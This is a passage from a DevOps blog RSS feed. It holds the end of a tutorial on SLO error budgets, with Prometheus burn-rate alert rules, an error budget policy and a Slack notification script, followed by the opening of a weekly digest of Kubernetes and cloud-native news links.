              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">50</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;green&quot;</span> <span class="hljs-punctuation">}</span>
            <span class="hljs-punctuation">]</span>
          <span class="hljs-punctuation">}</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>The gauge turns yellow when you are close to violating the SLO and red when you have breached it. The stat panel shows the remaining budget as a percentage, so anyone on the team can see at a glance whether it is safe to ship.</p>
<h2 id="h2-alerting-on-error-budget-burn-rate" class="group relative scroll-mt-24">
        <a href="#h2-alerting-on-error-budget-burn-rate" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Alerting on Error Budget Burn Rate
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-alerting-on-error-budget-burn-rate"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Do not alert when the SLO is breached. By then it is too late. Instead, alert on the <strong>burn rate</strong>, which tells you how fast you are consuming budget.</p>
<p>A burn rate of 1 means you will exactly exhaust your budget by the end of the window. A burn rate of 10 means you are burning 10x faster than sustainable, and you will run out in 3 days instead of 30.</p>
<p>Here is an Alertmanager rule that fires when the burn rate gets dangerous:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># Prometheus alerting rules for SLO burn rate</span>
<span class="hljs-attr">groups:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">slo-burn-rate</span>
    <span class="hljs-attr">rules:</span>
      <span class="hljs-comment"># Fast burn: 14.4x over 1 hour AND 6x over 6 hours</span>
      <span class="hljs-comment"># Pages the on-call engineer</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">alert:</span> <span class="hljs-string">HighErrorBudgetBurn</span>
        <span class="hljs-attr">expr:</span> <span class="hljs-string">|
          (
            1 - (sum(rate(http_requests_total{status!~&quot;5..&quot;}[1h]))
            / sum(rate(http_requests_total[1h])))
          ) / (1 - 0.999) &gt; 14.4
          and
          (
            1 - (sum(rate(http_requests_total{status!~&quot;5..&quot;}[6h]))
            / sum(rate(http_requests_total[6h])))
          ) / (1 - 0.999) &gt; 6
</span>        <span class="hljs-attr">for:</span> <span class="hljs-string">5m</span>
        <span class="hljs-attr">labels:</span>
          <span class="hljs-attr">severity:</span> <span class="hljs-string">critical</span>
        <span class="hljs-attr">annotations:</span>
          <span class="hljs-attr">summary:</span> <span class="hljs-string">&quot;Checkout API burning error budget 14x faster than sustainable&quot;</span>
          <span class="hljs-attr">description:</span> <span class="hljs-string">&quot;At this rate, the 30-day error budget will be exhausted in ~2 days.&quot;</span>

      <span class="hljs-comment"># Slow burn: 3x over 1 day AND 1x over 3 days</span>
      <span class="hljs-comment"># Creates a ticket, no page</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">alert:</span> <span class="hljs-string">SlowErrorBudgetBurn</span>
        <span class="hljs-attr">expr:</span> <span class="hljs-string">|
          (
            1 - (sum(rate(http_requests_total{status!~&quot;5..&quot;}[1d]))
            / sum(rate(http_requests_total[1d])))
          ) / (1 - 0.999) &gt; 3
          and
          (
            1 - (sum(rate(http_requests_total{status!~&quot;5..&quot;}[3d]))
            / sum(rate(http_requests_total[3d])))
          ) / (1 - 0.999) &gt; 1
</span>        <span class="hljs-attr">for:</span> <span class="hljs-string">30m</span>
        <span class="hljs-attr">labels:</span>
          <span class="hljs-attr">severity:</span> <span class="hljs-string">warning</span>
        <span class="hljs-attr">annotations:</span>
          <span class="hljs-attr">summary:</span> <span class="hljs-string">&quot;Checkout API slowly burning error budget&quot;</span>
          <span class="hljs-attr">description:</span> <span class="hljs-string">&quot;Budget will be exhausted before the window resets if this continues.&quot;</span>
</code></pre><p>The two-window approach (short and long) prevents alert fatigue. A brief spike triggers the short window but not the long one, so you do not get paged for a 30-second blip. A sustained problem triggers both, which means something is genuinely wrong.</p>
<h2 id="h2-what-to-do-when-the-budget-runs-out" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-when-the-budget-runs-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do When the Budget Runs Out
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-when-the-budget-runs-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is where error budgets change how your team works. When the budget is exhausted, you have a clear policy:</p>
<pre><code class="hljs language-text">Error Budget Policy
-------------------

Budget &gt; 50%:  Ship freely. Take risks. Run experiments.
Budget 25-50%: Ship with extra caution. Require rollback plans.
Budget 5-25%:  Freeze non-critical deploys. Focus on reliability work.
Budget &lt; 5%:   Full feature freeze. All engineering effort goes to reliability.
Budget = 0%:   Postmortem required. No deploys until budget recovers.
</code></pre><p>Write this policy down. Get buy-in from engineering leadership and product management before you need it. The worst time to negotiate a feature freeze is during an incident.</p>
<p>Here is a simple script that checks the budget and posts to Slack:</p>
<pre><code class="hljs language-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># check-error-budget.sh - Run via cron every hour</span>

PROM_URL=<span class="hljs-string">&quot;http://prometheus:9090&quot;</span>
SLACK_WEBHOOK=<span class="hljs-string">&quot;https://hooks.slack.com/services/YOUR/WEBHOOK/URL&quot;</span>
SLO_TARGET=0.999

<span class="hljs-comment"># Query current availability over 30 days</span>
AVAILABILITY=$(curl -s <span class="hljs-string">&quot;<span class="hljs-variable">${PROM_URL}</span>/api/v1/query&quot;</span> \
  --data-urlencode <span class="hljs-string">&#x27;query=sum(rate(http_requests_total{status!~&quot;5..&quot;}[30d])) / sum(rate(http_requests_total[30d]))&#x27;</span> \
  | jq -r <span class="hljs-string">&#x27;.data.result[0].value[1]&#x27;</span>)

<span class="hljs-comment"># Calculate remaining budget as a percentage</span>
BUDGET=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;scale=2; ((<span class="hljs-variable">$AVAILABILITY</span> - <span class="hljs-variable">$SLO_TARGET</span>) / (1 - <span class="hljs-variable">$SLO_TARGET</span>)) * 100&quot;</span> | bc)

<span class="hljs-keyword">if</span> (( $(echo &quot;<span class="hljs-variable">$BUDGET</span> &lt; <span class="hljs-number">25</span>&quot; | bc -l) )); <span class="hljs-keyword">then</span>
  curl -s -X POST <span class="hljs-string">&quot;<span class="hljs-variable">$SLACK_WEBHOOK</span>&quot;</span> \
    -H <span class="hljs-string">&#x27;Content-Type: application/json&#x27;</span> \
    -d <span class="hljs-string">&quot;{\&quot;text\&quot;: \&quot;Warning: checkout-api error budget is at <span class="hljs-variable">${BUDGET}</span>%. Current availability: <span class="hljs-variable">${AVAILABILITY}</span>\&quot;}&quot;</span>
<span class="hljs-keyword">fi</span>
</code></pre><h2 id="h2-common-mistakes-to-avoid" class="group relative scroll-mt-24">
        <a href="#h2-common-mistakes-to-avoid" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common Mistakes to Avoid
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-common-mistakes-to-avoid"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Setting SLOs too high.</strong> A 99.99% SLO for an internal dashboard is a waste. You will spend all your time protecting a budget that nobody actually needs. Match the SLO to user expectations.</p>
<p><strong>Measuring the wrong thing.</strong> Server-side health checks are not SLIs. If your health check returns 200 but users see timeout errors because of a broken load balancer, your SLI missed the problem. Measure as close to the user as possible.</p>
<p><strong>Ignoring the error budget policy.</strong> If you set SLOs but never act on budget exhaustion, the whole system is theater. The budget only works if teams actually slow down when it runs out.</p>
<p><strong>Using SLOs as a performance review tool.</strong> SLOs measure service reliability, not engineer performance. The moment you blame someone for a budget burn, people start gaming the metrics.</p>
<p><strong>Not revisiting SLOs.</strong> Review your targets every quarter. If you never burn more than 10% of your budget, the SLO is too loose. If you breach every month, it is too tight, or you have real reliability problems to fix.</p>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next Steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li>Pick one service, ideally your most user-facing one, and define two SLIs: availability and latency</li>
<li>Set initial SLO targets at 99.9% availability and 99% latency. You can always adjust later</li>
<li>Add the Prometheus instrumentation from this post and build the Grafana dashboard</li>
<li>Set up burn rate alerts using the two-window approach shown above</li>
<li>Write an error budget policy and get sign-off from your team lead and product manager</li>
<li>Schedule a monthly SLO review meeting to check if targets still make sense</li>
</ol>
<p>Start small. One service, two SLIs, one dashboard. You will learn more from running a real SLO for a month than from planning the perfect SLO framework on a whiteboard.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 16, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-16</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-16</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-hpa-managed-workloads-why-the-obvious-waste-stays" class="group relative scroll-mt-24">
        <a href="#h3-hpa-managed-workloads-why-the-obvious-waste-stays" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 HPA-managed workloads: Why the obvious waste stays
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hpa-managed-workloads-why-the-obvious-waste-stays"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Teams running Kubernetes can usually see where they’re overprovisioned. Requests are higher than they need to be, there’s consistent headroom, and capacity The post HPA-managed workloads: Why the obvi</p>
<p><strong>📅 Apr 12, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/hpa-managed-workloads-why-waste-stays/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-intelligent-knowledge-graphs-for-amazon-eks-operations-using-aws-devops-agent" class="group relative scroll-mt-24">
        <a href="#h3-building-intelligent-knowledge-graphs-for-amazon-eks-operations-using-aws-devops-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building intelligent knowledge graphs for Amazon EKS operations using AWS DevOps Agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-intelligent-knowledge-graphs-for-amazon-eks-operations-using-aws-devops-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we demonstrate how AWS DevOps Agent works—from alert generation to identifying the affected EKS cluster, building knowledge graphs, and troubleshooting application or infrastructure issu</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/building-intelligent-knowledge-graphs-for-amazon-eks-operations-using-aws-devops-agent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-virtualization-for-ai-workloads-building-open-source-gpuoptimized-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-virtualization-for-ai-workloads-building-open-source-gpuoptimized-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Virtualization for AI Workloads: Building Open Source GPU‑Optimized Infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-virtualization-for-ai-workloads-building-open-source-gpuoptimized-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As enterprise AI matures, infrastructure patterns are shifting. Teams that started with dedicated GPU servers are now building shared platforms that must support multiple workloads, enforce governance</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/virtualization-for-ai-workloads-building-open-source-gpu-optimized-infrastructure/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ubuntu-pro-comes-to-nutanix-bare-metal-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-ubuntu-pro-comes-to-nutanix-bare-metal-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ubuntu Pro comes to Nutanix bare-metal Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ubuntu-pro-comes-to-nutanix-bare-metal-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Nutanix and Canonical expand partnership to offer more choice for containerized workloads Enterprise Kubernetes® is maturing into a highly flexible, multi-architecture model. As AI/ML and data-intensi</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/ubuntu-pro-on-nutanix-bare-metal-kubernetes"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-peer-to-peer-acceleration-for-ai-model-distribution-with-dragonfly" class="group relative scroll-mt-24">
        <a href="#h3-peer-to-peer-acceleration-for-ai-model-distribution-with-dragonfly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Peer-to-Peer acceleration for AI model distribution with Dragonfly
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-peer-to-peer-acceleration-for-ai-model-distribution-with-dragonfly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The problem: AI model distribution is broken at scale Large-scale AI model distribution presents challenges in performance, efficiency, and cost. Consider a typical scenario: an ML platform team manag</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/06/peer-to-peer-acceleration-for-ai-model-distribution-with-dragonfly/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-what-i-learned-at-my-first-kubecon-cloudnativecon-as-a-high-school-speaker" class="group relative scroll-mt-24">
        <a href="#h3-what-i-learned-at-my-first-kubecon-cloudnativecon-as-a-high-school-speaker" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What I Learned at My First KubeCon + CloudNativeCon as a High School Speaker
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-i-learned-at-my-first-kubecon-cloudnativecon-as-a-high-school-speaker"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>KubeCon + CloudNativeCon Europe 2026 is one of the biggest open-source conferences in the world, organized by the Cloud Native Computing Foundation (part of the Linux Foundation, which manages major p</p>
<p><strong>📅 Apr 11, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/11/what-i-learned-at-my-first-kubecon-cloudnativecon-as-a-high-school-speaker/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-rethinking-platform-engineering-through-diverse-perspectives-at-kubecon-cloudnativecon-eu-amsterdam" class="group relative scroll-mt-24">
        <a href="#h3-rethinking-platform-engineering-through-diverse-perspectives-at-kubecon-cloudnativecon-eu-amsterdam" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Rethinking platform engineering through diverse perspectives at KubeCon + CloudNativeCon EU Amsterdam
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rethinking-platform-engineering-through-diverse-perspectives-at-kubecon-cloudnativecon-eu-amsterdam"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>KubeCon + CloudNativeCon Europe 2026 in Amsterdam highlighted the evolution of cloud native practices, particularly in platform engineering, and the growing focus on inclusion and accessibility within</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/10/rethinking-platform-engineering-through-diverse-perspectives-at-kubecon-cloudnativecon-eu-amsterdam/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-its-here-meet-the-new-ibm-apptio-report-studio-a-faster-more-intuitive-approach-to-reporting" class="group relative scroll-mt-24">
        <a href="#h3-its-here-meet-the-new-ibm-apptio-report-studio-a-faster-more-intuitive-approach-to-reporting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 It’s Here: Meet the New IBM Apptio Report Studio – A Faster, More Intuitive Approach to Reporting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-its-here-meet-the-new-ibm-apptio-report-studio-a-faster-more-intuitive-approach-to-reporting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last month, we shared our vision for modernizing reporting across IBM Apptio, focused on reducing friction and helping teams more effectively communicate financial insights and the business value of t</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/its-here-meet-the-new-ibm-apptio-report-studio-a-faster-more-intuitive-approach-to-reporting/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_datasentinel-10-released" class="group relative scroll-mt-24">
        <a href="#h3-pg_datasentinel-10-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_datasentinel 1.0 released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_datasentinel-10-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>pg_datasentinel - Observability extension for PostgreSQL We are pleased to announce the first release of pg_datasentinel. Source: <a href="https://github.com/datasentinel/pg_datasentinel">https://github.com/datasentinel/pg_datasentinel</a> Features Extended acti</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_datasentinel-10-released-3271/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-workloads-are-containerized-workloads" class="group relative scroll-mt-24">
        <a href="#h3-ai-workloads-are-containerized-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Workloads Are Containerized Workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-workloads-are-containerized-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI workloads are no longer experimental projects running in isolated environments. They are now business-critical systems powering recommendations, search, automation, analytics and generative AI appl</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/ai-workloads-are-containerized-workloads/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-simplifying-egress-routing-to-wildcard-destinations" class="group relative scroll-mt-24">
        <a href="#h3-simplifying-egress-routing-to-wildcard-destinations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Simplifying Egress Routing to Wildcard Destinations
        </a>
        <button 
